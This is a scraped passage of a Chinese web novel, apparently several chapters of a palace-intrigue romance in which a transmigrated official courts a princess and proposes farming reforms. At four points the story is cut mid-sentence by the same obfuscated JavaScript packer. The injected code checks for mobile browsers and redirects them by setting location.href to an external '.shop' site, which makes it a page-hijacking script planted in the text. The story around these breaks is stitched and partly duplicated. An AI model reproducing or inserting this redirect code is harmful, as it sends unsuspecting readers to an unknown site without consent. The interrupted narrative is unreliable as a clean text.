可这一幕,却直接看傻了虞美人。 本来还想直接把话挑明,时过境迁,你我再无可能,让他寻一良人暗度此生。 可,这这这……都吐血了啊! 这是多么真挚的一份爱情。 她的心再次动摇了。 梁皇已老,她进宫那会儿,也正是梁皇装病谋划几家勋贵的重要时期。 人处理完了,可病不能一直装下去,为了做给天下人看,梁皇需要一个可以堵住悠悠众口祥瑞。 而她就是那个被梁皇选中的祥瑞。 侍寝当日便被灌下了绝嗣汤,并且根据宫内起居规矩,也是为了增加可信度,侍寝之后需要再次验身,主要是为了证明皇帝依旧“生龙活虎”。 她迄今仍记得,那一晚梁皇将金杵丢给自己时的冷漠。 自己给自己破身后的耻辱。 以及梁皇转过天来大病痊愈,重重的封赏。 这一刻,深埋在虞美人心里的那份情愫,几乎完全释放出来。 情谊有吗? 有,而且很深,但这特娘是原主的。 季褚回过神来,敏锐的察觉到窗外有人,而且见到虞美人已经红了眼眶,就欲起身,心里顿时咯噔一下,当即抬手作嘘,然后指了指窗外。 虞美人作为皇帝最受宠的妃子,这些年在宫里什么明枪暗箭没遇过,也早就不似以前那般单纯,瞬间明白了什么。 心疼的点了下头,故作镇定道:“季少保,你且将韵律写与我。” “娘娘,稍后,臣这遍写来。” 季褚暗暗擦了擦额头上的冷汗,立马走到书案前开始研墨书写。 好家伙,以前还没觉得有啥,现在一看,这皇宫还真不是一般人能待的地方。 处处都是眼线,一不小心就得凉凉。 不过倒也因祸得福,起码虞美人勾动了原主灵魂,他愣住的那一刹那,成功躲过一劫。 否则一旦二人做出半点逾矩的地方,或者那句话说错,肯定木得好下场。 更要紧的是,原主试图重新掌控这具身体,岂不是说明原主并未完全死透? 这特娘可不是啥好苗头。 回头必须得想想办法,彻底搞死原主。 吹干墨迹,季褚恭恭敬敬将曲谱,填词送到了虞美人面前。 接下来便是二人正常的交谈。 大约一炷香的时间,虞美人趁着提问,提笔在纸上写下了“来日方长”四个小字,待季褚目光落定,看清那四字的刹那,一滴浓墨猝然坠下,将字迹缓缓晕开,消散无痕。 “今日多谢季大人悉心指点。 改日妾身若有不懂之处,还望能再请你赐教。” 季褚心脏砰砰狂跳,外面有人盯梢,虞美人居然还敢传情,属实刺激的有点过头了。 “娘娘既有吩咐,微臣自当尽力。既如此,微臣先行告退。” “去吧。本宫先试着弹唱一番,待圣人闲暇时,刚好为他解解乏。” 季褚躬身行礼,慢慢退后,然后转身打开门向外走去。 余光所及,果然,就在殿宇两边,各立着两个洒扫太监。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如今季褚已是从二品太子少保,兼户部侍郎、礼部员外郎、御冰监监正,再久居公主府已然于理不合。 李清瑶便想送他一座宅子,其实也没什么其他重要事情。 她轻轻拨弄花草,脸上说不出的淡然恬静,“他如今已是朝廷大员,行事自不必事事禀奏。今日季褚在朝中的表现,甚合本宫心意,父皇对他也颇为器重赏识,你日后对他,不可再如从前那般态度!” “哼,还不是公主赏识。”韩江雪嘴硬道。 却说同样不爽的还有太子。 孤扫榻相迎,等着你来。 结果你各处都转了,见完圣人就直接放孤鸽子。 到底啥情况,孤心慌啊! 当即对着心腹太监道:“王伴伴,你准备一下,孤要去皇姐那。” 第77章 我王老汉忠君爱国,一年一个媳妇 当时那情形,事情一件接着一件,季褚真忘了太子这茬。 三人打马出城,直奔附近村镇。 先前从长葛一路赶来,季褚的车架都是里三层外三层,还真没怎么留意路边地里的庄稼。 这一看才知道大司农所言不虚。 一颗颗秧苗半死不活,看着就是欠收的节奏。 季褚翻身下马,走向了不远处挑水的老农,“这位老翁,找您打听点事儿。” 见这三人不仅马俊人更俊,一看就是普通老百姓,老农战战兢兢放下扁担,“敢问贵人想问什么?” “也没什么,就是想问问咱这庄家是如何施肥的。” 老农一脸古怪,心说这贵人还真是纨绔出花来了啊! 带着两位漂亮女子,不去找那山清水秀满是鲜花的地方,居然……来问那腌臜之事。 “就,就是拿着粪勺施肥。” 季褚:…… 不用粪勺还用手掏啊…… “咳,那老翁可否带我去堆肥的地方看看?” “贵人,这这这……如何使得啊!”老头是真慌了,扑通一下便跪在了地上。 前些年有城里的贵人到他们这看牛产仔,结果被喷了一身污秽,那贵人一怒之下直接杀了那家四口,这事儿才过去几年啊。 他王老汉倒了啥血霉啊,咋这种事儿也能让他遇上。 “老翁您这是为何?”季褚赶忙上前将人扶起,随即从怀里掏出一锭碎银塞给了对方,也终于搞清楚了缘由。 无奈道:“老翁不必惊慌,今日朝会大司农汇报了禾苗枯萎一事,吾等也是奉了长乐长公主的命令,前来调查,顺便找办法解决这一问题。” “原来是这样,公主还怪好的嘞。” “长公主心系百姓,自然是天底下最好的公主。”季褚呵呵一笑,“这回老翁应该不用怕了吧!” “不怕不怕,吾等普通百姓家都是捡了粪直接倒进地里,贵人要看粪堆只能去柳老爷家的地里看。”老农将水倒进地里,然后便在前面引路。 “这柳老爷是?” “是我们这的地主老爷,家里有良田六千多亩,咱庄子上好多都在给刘老爷家当佃农。 柳老爷人善啊,他从夜香郎那里收夜香,抢种时节也会低价卖给吾等。” “原来如此。” 季褚跟在后面,有一搭无一搭的聊着,顺便观察了一下路边的沟渠。 水位下降严重,已经无法直接引水进入田地,这是其一。 说话间,三人已经来到了一处坑洼地,隔老远就闻到了一股刺鼻作呕的味道。 入眼所见,好家伙,一眼望不到头,就一超大号的粪坑。 苍蝇嗡嗡的跟开大会一样。可见这柳老爷在收粪行当里,也老有实力了。 季褚粗略的扫了一眼,赶忙捂住了鼻子,“老翁,这粪都是怎么卖的?” “两个铜板一桶粪水。” 季褚:…… 这特娘的,还真是善**都。 按照后世标准田最低标准,一亩地用最具营养的鸡粪打底都是一千斤起步,人粪不如鸡粪,就算一千五百斤。 当然,现在不能用后世的标准来衡量。 就现在的桶,一桶最多装三十斤,可要想灌溉一亩地,理论上就得五十桶,一百个铜板。 可现在亩产最多才两石多点啊! 按照正常粮价,两石大概一千六百钱上下,是挺良心了,起码比后世那些化肥性价比高。 但特么的他加水啊! 一旦加了水,压根没凭据,怕是买个一两百桶也未必能起多大效果。 “老翁,可否去家里看看你家农具?” “自然可以,我家就在前面不远处。” 很快,三人又来到了一处农家小院,院里几个满身脏兮兮的小孩子奔跑玩耍,还有五个妇人正坐在大树阴凉下合作织布。 “老翁,看得出,你家人丁兴旺!”季褚客套道。 “咳咳,还行吧,这些都是拙荆,今年冬天,我家老七也要出生了,等孩子都大了,过些年日子肯定好过。” 季褚闻言,下巴壳子差点掉地上。 看看老头,又看看织布的几个妇人,有老有少…… 季褚嘴角抽搐,“你……您身子骨挺硬朗哈!” “哎,不瞒贵人,也是不如以前了,连年征战,每年都有儿郎死去,朝廷下旨让咱们每年都要接纳这些遗孀,我王老汉虽然不能上阵杀敌,但我亦有一颗忠君爱国之心,所以我每年都会选一位。” 季褚:…… 畜生! 你特娘就是个老畜生,明明就是好色之徒,竟然说的这般冠冕堂皇,简直比我还不要脸。 咦,不对? 这情节…… 季褚眼皮狂跳,沃尼玛,我不会是穿书了吧? 穿到了某本开局官府送媳妇,我带全家吃肉肉的小说里? 嘶…… 要是这样,那特娘他还真得提防提防。 别一不小心就被真正的位面之子干掉。 毕竟他没有外挂,万一遇上带系统的挂壁,那不分分钟完蛋?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210891|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这样想着,季褚后背已然生出了一层冷汗,暗道自己之前太高调。 看来得找个机会钓鱼执法,将隐患早早扼杀在摇篮里。 就在季褚自己吓唬自己的时候,老农已经打开了一间屋子,“贵人,我家农具都在这里。” 季褚微微颔首,上前逐一细看。 这一看,心里顿时有了谱。 娘的,管他什么天命所归、位面之子,如今他季某某已然占尽先机,先把大功劳揽了再说,走别人的路,让别人无路可走。 “多谢老翁,吾等还要回去复命,今日便不再叨扰。” 三人告辞离开,季褚直接翻身上马,又去了更远处几个庄子转了转,直至下午才返回城中。 才刚入府,姬坤便一路小跑上前帮忙牵马,“大人,公主等候多时,太子也才刚离开不久。” “知道了,一会儿我便去拜见公主。” “那……” 姬坤欲言又止,倒是惹得季褚一阵好笑,“小坤啊,你可是我手足兄弟,挚爱亲朋,何时变的这般吞吞吐吐?” 姬坤闻言,顿时感激的不要不要。 以前他羡慕季褚,嫉妒季褚,幻想着有朝一日成为季褚。 而现在,身份上已然发生了变化,他自知无法成为对方,心态自然早就摆正。 更没想到,季褚如今成为新贵,还能这样与他一个下人交谈,这让他羞愧的只想抽自己俩大耳刮子。 多好的季大人啊,以前的自己竟然还偷偷蛐蛐对方,只会溜须拍马。 “大人,小的有个不情之请。” “哦,你说。” “就是之前小的跟你提过……不知大人今晚是否有时间。” 之前提过? 季褚愣了好半晌,突然眼前一亮,“咳咳,有时间,我最不缺的就是时间。” 姬坤小心翼翼回头看了一眼,低声道:“大人,咱去万花楼,还是去明月楼?” 季褚鬼鬼祟祟也朝后面看了一眼,低声道;“哪个楼服务好?” “明月楼的雅,万花楼的俗,不知大人喜欢雅的,还是喜欢俗的?” “咳咳,本大人自然喜欢雅的,但更喜欢批判俗物!” 姬坤瞬间秒懂,“那咱今晚就去万花楼批判批判?” “批判,必须狠狠批判。”季褚欣慰的点点头,这小子,还真不白提拔,比起狗东西高士奇不知强了多少倍。 “晓得了,今晚辰时,小的提前备好马车在后门等候大人。” “你做事我放心,我先去见公主。” 第78章 把公主钓成翘嘴 寝殿外侧的小花园里,草木清幽。 季褚刚一踏入,便见李清瑶穿着一身妹妹都说很有味道的紫袍,正领着几名婢女俯身侍弄花草。 腰束的很细,盈盈一握。 但被衬托起来的弧线,一握半才刚刚好。 尤其是那优美的背部曲线,就好似熟透的桃子,多不多汁的季褚早已深有体会。 季褚收回目光,“臣,季褚,见过公主。” 李清瑶腰都没抬一下,只是用那清冷的眸子瞥了季褚一眼,“呦这不是季大人嘛,本宫还以为面了圣,父皇赏了宅子,翅膀硬了,季大人就不来公主府了。” 季褚心里直翻白眼,罢了谁让自己是男人呢,富婆媳妇跟你撒娇抱怨,你还真能咋地不成? “公主,你冤枉死臣得了。” “难道不是吗,各处你都去遍了,独独不去东宫,太子满心不安,还以为是不是哪里得罪了你季大人。” 闻言,季褚瞬间恍然。 合着根源在这。 难怪才见面就一股子怨妇味儿了。 “也怪臣当时太过着急。”季褚道:“还请殿下屏退左右,微臣有一桩大事,要与公主密商。” 李清瑶呼吸骤然一滞,朵朵绯红瞬间漫上白玉般晶莹的耳垂,一颗心更是不受控制地怦怦狂跳起来。 这个混蛋。 本宫还没调教他。 他他他,居然又想白日……轻薄本宫。 简直无法无天。 “什么事,就在这说吧!”李清瑶不满的哼了一声。 “殿下可要想清楚。”季褚声音放低,带着几分意味深长,“臣若是在此处说了,万一传扬出去……” 李清瑶又羞又恼,又慌又乱。 觉察到对方的情绪不对劲,季褚顿时一脸懵逼,她这是又脑补出了什么奇奇怪怪的东西? 瞧他那副云淡风轻,就等着自己先低头服软的模样,李清瑶突然意识到了一个严重问题。 自己,好像太过纵容他了。 起初她不过是想利用季褚,膈应那不争气的驸马,后来见他才华惊世,便越发倚重。也正因认定他是可用之人,她才会屡屡动怒,才会在那日大殿之上,被他步步紧逼,轻薄得逞,连贴身之物都被他夺了去。 那时的她,只觉羞愤难当,满心委屈。 可季褚展露的手段与魄力,早已远超她的预料,让她又爱又恨。 他做事,可以说不择手段,胆大包天。 这般性子的人她见得多了,再狂放之人,也该守君臣之礼、尊卑之分。 偏偏季褚,根本不知“规矩”二字怎么写,一次次大胆撩拨,逼她一退再退,破了所有底线,不知不觉间被他**于股掌之中。 更让她心慌的是,她偏偏就吃他这一套。 每每被他放肆撩拨,便心绪翻涌,方寸大乱。 一想到这里,李清瑶心头便浮起一股难以言喻的燥热与慌乱,仿佛染上了一桩无药可解的心病。 尤其是每次见到他,都会莫名紧张,越紧张,便越容易想起那些被他肆无忌惮的场景,想得多了,心底竟还隐隐生出几分期待。 李清瑶只觉得自己快要被他折磨得疯了。 不行……绝对不能他想怎么干,就怎么干了。 君是君,臣是臣,界限必须划清。 他才只是从二品,今日便仗着自己的恩宠越发肆无忌惮,敢拿这种私密事拿捏她。 他日真成驸马,岂不是要天天骑到她头上来,欺负死她? 简直就是欺人太甚! 李清瑶气得指尖微颤,却偏偏拿他毫无办法。 谁让自己遇上了这样一个不要脸皮的冤家。 若是真被旁人听去一星半点,丢人的只会是她这个公主。 李清瑶咬了咬唇,强压下心头的羞恼与慌乱,冷着脸对左右婢女挥了挥手:“你们都退下,五十步内不许有人。” 待众人退去,她才抬眼恼怒的瞪着季褚,声音又轻又涩,带着被逼无奈的软怒:“只给一次,多了不行,你快点……” 说完,转身就朝寝殿里面走去。 季褚愣了愣,而后差点没笑出声来,“公主请留步。” 李清瑶脚下一顿,气恼的转身指向了季褚,咬牙切齿道:“季!伯!赢!本宫告诉你,这已经是最本宫最大的让步,还想在院子里,做梦……” “不不不,你先消消气。”季褚赶忙上前把她的手压了下去。 “别碰本宫!”李清瑶生气的一甩手,把头扭到了一旁,“反正不可在外面。” 季褚呲着个大牙,盯着对方嘿嘿直乐。 她躲,他追,她退,他进。 任凭李清瑶如何闪躲,都逃不开他那副又气人又耀眼的笑脸。 金枝玉叶遇上无赖,偏偏还无可奈何。 李清瑶还从来没有这般委屈过,最后索性一捂脸,直接蹲到了地上,“季褚,你就是个混蛋,呜呜呜呜,没你这样欺负人的!” 季褚看她这副模样,是又好笑又心疼,轻笑一声,也蹲到了一旁,轻拍对方肩膀,温声道:“好了好了,要我看,你还是赶紧把郡主换了吧!” 李清瑶一甩肩膀,不依不饶,“明明是你欺负人,和人家有什么关系,你休要挑拨离间。” “怎么没关系。”季褚低笑出声,语气里裹着化不开的宠溺,“公主风华绝代,容貌自是天下难寻,更难得的是心思剔透,智计无双。 既有女子的温婉清丽,又有不输男儿的睿智果决。 天下人只知公主貌美,唯有臣知晓,殿下最动人的,殿下最动人的,是那颗赤诚通透,藏着山河丘壑的心。” “你少花言巧语,反正就是不能在花园里。”李清瑶双手抱胸,嗔怒的瞪着季褚。 山河丘壑! 明明是个好词,可从季褚嘴里说出来,就是令人别扭。 因为季褚和怜香在她这根本没有秘密,她可太知道,他说的心是什么了。 看着面前娇俏动人的公主,季褚眼底笑意更深了,打趣道:“你看你看,我说对了吧。 临安郡主是什么样的人,熊……咳,反正就是脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215398|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不正常,明明是一首很有意境的好诗,到她脑子里就成了隂诗。 再这么被她带下去,我家聪慧剔透的公主,都快变成思想不健康的大黄丫头了。” 李清瑶:…… 好想咬死这个混蛋。 “臣之所以支走左右,是因为接下来要说的事,一旦做成,能为公主尽收天下黎庶之心。” 季褚眼神认真,语气更是无比郑重,“殿下可想过立千秋不朽之名,让万民敬仰、百姓爱戴,人人为您**,乃至立祠封神,让长乐公主之德,名垂青史、流芳万代?” 这一席话字字千钧,气势磅礴,直震得李清瑶心神俱颤,瞬间僵在原地。 她猛地抬眸望他,素来清冷镇定的眸子里,只剩一片惊涛骇浪般的错愕与震撼。 微微泛红的眼眶,泪光浮动,含泪欲泣的模样反倒更添了几分我见犹怜,惊心动魄的绝色。 季褚不由一阵心猿意马,但一想到坤弟晚上约他一起批判当世之俗,又生生把那乱七八糟的心思压下。 出去玩,图的就一痛快。 都说家花不如野花香,但家里的花是耀世雪莲,外面的花万一是朵普通的莲花呢? 现在吃了雪莲,晚上遇见普通莲花,啪的一下,批判的心思全没了。 相反,现在不吃,晚上的期待感才会拉满,哪怕是朵小菊花,那也能从多方面批判出一些东西! 但这一串话属实太有杀伤力了,干的李清瑶有些不知所措,“你,为何对我这般好?” “因为我是你男人。” 李清瑶霎时羞得满面通红,慌忙偏过头去,不敢与他灼热的目光相接,声音轻颤:“……说说你的计划。” 季褚低笑一声,扶着她走到一旁石桌旁坐下,缓缓开口,“今日陛下召见,询问大司农所奏之事,问过我可曾有解决办法。 其实那时我心中已有对策,却故意说没有。 清瑶,我欺君了,你可知为何?” “为何?”李清瑶抬眸,满眼疑惑。 季褚伸出手握住了她软玉般的柔荑,语气温柔得能化出水来,“因为在我心中,再大的功劳,再重的权柄,也不及你真心一笑。 我不要你只做高高在上的长乐公主,我要你做这天下最长乐、最耀眼,最被人捧在心上的女子。 我要这万民称颂,皆为你而来。 我要这千秋史册,为你而留名。 因为你是我的娘子,是我拼尽一切,也要护她光芒万丈的人。” “不,不许胡说八道,谁是你娘子……” 李清瑶本想轻斥,把手抽回,可这番真情流露的话,却令她脸颊烫得仿佛要烧起来,耳尖与脖颈都染满绯红。 眼瞅着平日里清冷矜贵的公主,这般面红耳赤,娇羞不胜,美得让人心尖发颤,季褚连呼吸都忍不住放轻几分。 小小公主,轻松拿捏! 季褚正准备乘胜追击,就听一声娇叱如惊雷乍响,“大胆狂徒,速速放了公主。” 闻言,季褚心里咯噔一下,这个女杀神咋来了! 第79章 我,允你,在此时此地 声未落,风已至,一道凌厉劲风直朝季褚肩膀袭来。 季褚早已今非昔比,虽然和高手还有很大的差距,可躲开这一脚还是没问题的。 立马松开手,转身退后数步。 韩江雪一招未能得手,自然不肯善罢甘休,而此刻,李清瑶已经气的拍向了石桌,“住手!” 她是又羞又恼,果真被季褚说中,这个表妹,是真该好好管束一番了。 韩江雪急得眼眶都红了,上前一步指着季褚:“表姐,他刚才对你轻薄无礼,我都亲眼看见了!” 李清瑶强压下心头慌乱,冷着脸重重一声鼻音,“他没有。” “怎么没有,我明明看见他抓着你的手,还离你那么近!” 李清瑶尴尬的直扣脚趾,却也只能端着公主威仪,淡淡道:“方才本宫侍弄花草不小心伤到了手腕,季褚会按摩你是知道的,所以本宫让他帮着按按。 你退下吧,本宫与季褚还有要事相商。” “那我就更不能走了。”韩江雪抱着剑,索性立到了一旁,“这登徒子有前科,我得留下保护公主。” 李清瑶:……啊啊啊,谁让你保护啊! “咳咳,既然误会解除了,反正郡主也不是外人,那就一起听听吧!” “哼,算你识相。”韩江雪直接把头扭到了一旁,显然是不想领情。 李清瑶冲着季褚无奈的摇了摇头,“罢了,季褚,你与本宫讲讲你的计划。” “今日我去城外考察了一下,确实如大司农所言,秧苗枯黄,十田九枯。再不施救,肯定减产。 其一,灌溉不足,并非完全无水,而是水位太低,以目前的手段,很难将水引到高处。” “嘁,还用你说,傻子都知道水往低处流。” “江雪……”李清瑶嗔怒一声。 “无妨,确实是这么个道理,但我们可以想法子,恰好,臣便有这从低往高引水的法子。” “此言当真?” “这个稍后再说,我再说说第二点,肥力不足的问题。 现如今,农户往地里上粪,都是把粪便,草灰随便往地里一撒,然后等着自然发酵。” “何为发酵?”李清瑶好奇道。 “你可以理解粮食变酒的这一过程,就叫发酵,就是把一种东西,变成另外一种东西。还有蒸馍也属于发酵,否则蒸出来的馍又硬又小。” 李清瑶恍然,“你继续。” “自然发酵,完全看天意,肥力不足只是其一。 无法完全腐熟的粪,因为吸水后还会膨胀,导致地皮透气性差,且极易产生病虫害,减产未必会减产,但增产也是有限的。 我说的这种办法,就是将腐熟的过程变成一道有据可依的规矩。 还是拿酿酒举例子,为何酿出来的是酒而不是醋,为何是醋又不是酒,这都是有规矩可参考的。 而且我的这个法子没任何难度,其实就是用粪肥参上烂树枝,草,或者去年剩的秸秆,炕土什么的,堆成梯垛,照着现在的天气,五天翻上一次,一月时间就能把生肥,变成熟肥。 别的我不敢保证,亩产量至少要比现在能提高两成,甚至更多。 第三,还有一种新型犁,名为曲辕犁,可大大降低开垦成本,让一个人可以更轻松省力,开垦出更多田地。 这三条计策,由殿下亲手进呈陛下御览,殿下以为如何? 能否如臣先前所说,为殿下收拢民心,成就千古美名?” 季褚好似在说一件微不足道的事,可听在李清瑶心里已然天雷滚滚。 一双凤眸怔怔的望着他,连呼吸都开始有些颤抖。 水往高处流,熟肥增收两成,开垦更多田地的新型犁具…… 这哪是普通计策,这是能让国库充盈,百姓安居乐业,万世称颂的盖世功业啊。 李清瑶只觉的自己的心,好似被什么东西彻底填满了。 他,明明有经天纬地之才,明明可以自己揽尽一切功绩,享受万世香火敬仰。 却偏偏要把这泼天的功劳,双手捧到自己的面前。 可自己,却连他一点小小的心愿都无法满足…… 这一刻,李清瑶只觉自己根本配不上季褚的情谊。 半晌,才哑着声音开口,“这三策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215399|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是呈上,会是何等大功,你岂会不知,你,当真要……全数让给我?” 季褚下意识看向了韩江雪。 韩江雪愣愣的回过神来,突然感觉自己很多余,但很快又把目光挪到了别处,意思相当明确。 休想赶我走! 季褚也是服了这个电灯泡,“郡主,接下来,我会与公主详细探讨具体细节,你当真要听?” “我又不会传出去。” 季褚:…… 他深吸了口气,看向了眼神闪烁着泪光,已经满心满眼都是自己的李清瑶,语气轻缓却字字千钧,“臣自然知晓。这三策一出,殿下便是解万民于疾苦,扶社稷于安稳的大功臣,史册之上,必为殿下浓墨重彩,千古流芳。 然,臣的才华,臣的谋略,臣能为这天下做的一切,本就是为殿下而来。 功名利禄,青史盛名,于臣而言,远不及殿下一展欢颜。 只要能助殿下得偿所愿,得一世安稳,臣便心甘情愿。” 李清瑶心口猛地一缩,一股滚烫热流直冲眼眶,鼻尖发酸,竟一时失语,只剩下了滚落的泪滴。 她生来便是金枝玉叶,身居公主之尊,万人敬仰,万众敬畏。 可活了这般年岁,从没有一人,如季褚这般,将这世间最耀眼的功业与荣光,悉数捧至她面前,不求分毫,只愿她光芒万丈,只愿她一世安稳。 昔日也曾有过这般待她之人,可早已天人永隔,徒留一地怅然。 长久以来,她身居高位,心却孤苦无依。 可此刻,望着眼前虽然总是大胆无礼的男子,她却忽然清晰地明白——她再也不会孤单了。 韩江雪猝不及防吃了一嘴狗粮,只觉心里堵得慌,当即足尖一点,施展轻功抽身而去,几息之间便消失的无影无踪。 而她离开的动静,惊醒了沉浸在暖意中的李清瑶,想到刚才那般情动失态,脸颊“唰”地一下滚烫如火,连耳尖与脖颈都染上一层娇美绯色,羞涩得几乎不敢抬眼去看季褚。 她垂着眼帘,声细如蚊,又带着几分破罐破摔的软恼,“我,允你,在此时此地,放肆轻薄……” 第80章 万花楼七仙女,就等着哥去批判 李清瑶刚说完,脑门上便传来一阵吃痛。 季褚一个脑瓜崩直接弹了过去,“又在胡思乱想什么,我岂是那般不知轻重,无礼放肆之人?” 李清瑶一怔,一时竟无言以对。 你还不是,怕是这天底下就没比你还无礼的人。 “好了,我这便回去,将详细的农桑方略一一写妥,你先熟悉内容,最好亲自前往田庄上实践一番。 如此,待到圣人问及,你方能对答如流有理有据。 此事过程或许略有污秽,难以接受,可一旦功成,天下百姓必会更加感念公主恩德。” “嗯,我都听你的。”李清瑶温顺点头,“圣人下旨,命你协助**办太子大婚事宜。接下来,宫中事务交由你处置,我便去庄子上,按你说的行事。” 季褚:…… “对了,先前那件事安排别人去做吧,我不希望你和太子将来因为那件事生出嫌隙。” 季褚心里咯噔一下,该死,他是不是演过头了,把一个高冷御姐钓成了小鸟依人。 凤倾城那边千叮万嘱,必须由他亲自执行计划,李清瑶临阵换将,凤倾城那关咋过? “还是我去最为稳妥!” “你,你和太子都是我……最重要的人,我不许你去涉险。”李清瑶轻声阻拦,语气里带着不容置疑的在意。 季褚一时语塞,只觉头大如斗。 这回是真麻烦了。 “公主……” “私底下,你可以唤我名字。” 季褚倒抽一口冷气。 连“本宫”都不自称了……这下是真的彻底完了。 “清瑶,此事干系重大,知晓之人越少,危险越小。你我如今,皆是在钢丝之上起舞,半步差错都有可能万劫不复。 况且按我的办法,即便成事,腹中亦是太子血脉,有你在旁,他断然不会拿我如何。” “嗯,都听你的。对了,你已经让那头母猪成功怀上了。” 季褚:…… “怀上就好,我先回去撰写方案。” “等等!” 季褚脚步一顿,回头看去。 只见李清瑶微微垂眸,抬手轻撩额前碎发,神色间带着几分难得的扭捏:“我……不想你搬出去。” “那便不搬。” “那你……想当驸马吗?” 季褚呲牙一乐,自信道:“做梦都想,但我不想奉旨尚主,而是明媒正娶把你娶回家。” 李清瑶唇角微扬,眼波柔得像浸了春水,“我等着那一日。你要早些建功立业,封侯拜相,莫让我等得太久。” 季褚出了小院,心情说不出的复杂。 演技太好,他也愁呀! 早知如此,装什么深情。 以后必须得收着点了。 身为十项全能主播,季褚强就强在了能力上。 别问,问就是什么都会。 引水,他打算打通毛竹作为管道,离着水渠近的,就利用虹吸原理,至于密封性,有麻丝与桐油即可,这是上一世经过实际验证过的,今天转的几处地方,完全可以将水引到上面的沟渠。 距离太远,那就再用粗竹做一个简易的压水泵,用兽皮结扎,也能当成密封圈,搭个高抬,连续用个两三天没多大问题。 反正成本很低,坏了就换呗,不过就是有点废人。 堆肥的数据也早就记在了脑子里,唯一难题就是温度把握。 而且现在烧玻璃做温度计,不现实,更来不及,那就只能采取土法,利用沙斗去看冰的融化速度,上一世先秦那会儿,人家就是这么测温的。 只需精确好竹子的厚度,把冰放进去,虽然无法具体精确到多少度,但多实验几次,找出粪堆需要的温度也不难。 要说最简单的,还真就是曲辕犁。 这玩意,那真就是有手就会。 刷刷刷刷…… 季褚奋笔疾书,怜香研墨,竹儿扇风。 不知不觉,夕阳已经西斜。 “呼!”季褚长长松了口气,仔细检查了一遍,心满意足的笑了起来,“辛苦两位娘子了。” 怜香甜甜一笑,“季郎才是辛苦,香儿把昨日那首曲子练熟悉了,用过晚膳,便唱给季郎听。” “咳咳,今晚我有事儿得出府一趟。” “何事还需晚上出去?”竹儿有些担心的说。 “朝廷里的事儿,竹儿姐姐就切莫打听了。”季褚装订成册,然后交给了竹儿,“你辛苦一趟,送去公主处!” “喏!” 竹儿拿上东西便匆匆出了门。 赵子衿知晓季褚今日所书之物,乃是能惠泽万民,利在千秋的策论,便一直守在门外静候。 此刻见他事毕,才轻步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220309|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走入,一双眼眸亮得炽热,“伯赢,需要我找郡主要一些人手保护吗?” 开玩笑呢。 你安排一堆人保护,我还咋去逛青楼? 再说了,就京城这治安,就小爷咱现在这水平,我一招偷袭,一流高手也不是对手呀。 “不用,放心,我这次去的地方很安全。” “哦,也罢,有我一人,也足够保护伯赢安全。” “咳……今个你就不用去了,连日奔波,你正当好好休息。” “保护伯赢,我不累!” “不,你累,听话,今晚哪都不要去,就在家里好好休息。” …… 公主寝殿。 李清瑶迅速翻看着季褚写的东西。 本就言简意赅,何况她那么聪明,一看就懂。 放下折子,好奇问道:“季褚为何没来,可是累着了?” 竹儿有些古怪的看了公主一眼。 她不应该震惊,甚至是愤怒吗? 季褚让她千金贵体去玩那污秽之物耶! “回殿下,季大人说今晚要出去。” “出去!”李清瑶心头一紧,虽说京城的治安不错,但现在想要季褚性命的**有人在,晚上出去多危险啊! 他肯定又想暗中为我谋划什么,生怕我担心,可我又岂能置他的安危于不顾? “江雪!” “殿下!” “你多带人手暗中保护。” “喏!”韩江雪干净利落的抱剑出门,“房梁,干活了。” 房梁一脸幽怨的从房梁上垂落下来,“郡主,我有名字。” “从现在起,你就叫房梁了,怎么,你不愿意,嗯?” “我……”房梁嗫嚅了两下,到嘴边的话硬生生咽了回去,“诺!” …… 却说季褚这边。 好不容易把两位娘子哄下,换上衣服,便匆匆去了后门。 姬坤做事儿还是很稳妥的。 